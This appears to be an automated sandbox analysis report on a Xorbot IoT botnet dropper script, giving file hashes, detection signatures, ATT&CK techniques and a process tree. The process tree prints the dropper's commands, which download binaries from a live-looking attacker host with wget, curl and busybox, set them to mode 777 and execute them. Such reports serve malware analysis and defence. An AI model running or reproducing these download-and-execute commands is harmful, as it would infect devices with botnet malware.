xorbot | c063bdd7c8bb3a71082fd8295be7980b06d75b9fea1efbd02684a2a4dff87397

Analysis

max time kernel
140s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
05/01/2025, 16:47

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General

Target

bins.sh
Size

10KB
MD5

e4f7c4a0fc9b3693b98dd8a72fd33c6c
SHA1

02b5a992865ee73db4aa7f47d76847017ed9bef8
SHA256

c063bdd7c8bb3a71082fd8295be7980b06d75b9fea1efbd02684a2a4dff87397
SHA512

033e72887a61c5b6f214acdd88d420cabe9b673b8f239ac5093c17d861c313167840c19e65b07bdb6b69b9a25e1cc58d577e76d6dc4e4f3d2df38ec298ff473d
SSDEEP

96:Yj/p8AKhThvhQDDcwLk/kTkvm+qLfrnf/fyJptLCalhvhDhm3v6qi3EIuMZ7XeU1:w1zr3yJptWTc8QbWGvSr3yJpX8QbWGd

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
815	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD	816	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
814	busybox
819	wget
820	curl
822	busybox
709	wget
812	curl

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv	curl
File opened for modification	/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD	wget
File opened for modification	/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD	curl
File opened for modification	/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD	busybox
File opened for modification	/tmp/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:704
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:707
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:709
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:812
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:814
- /bin/chmod
  chmod 777 fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  ./fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  PID:818
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv
  2⤵
  - System Network Configuration Discovery
  PID:822

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit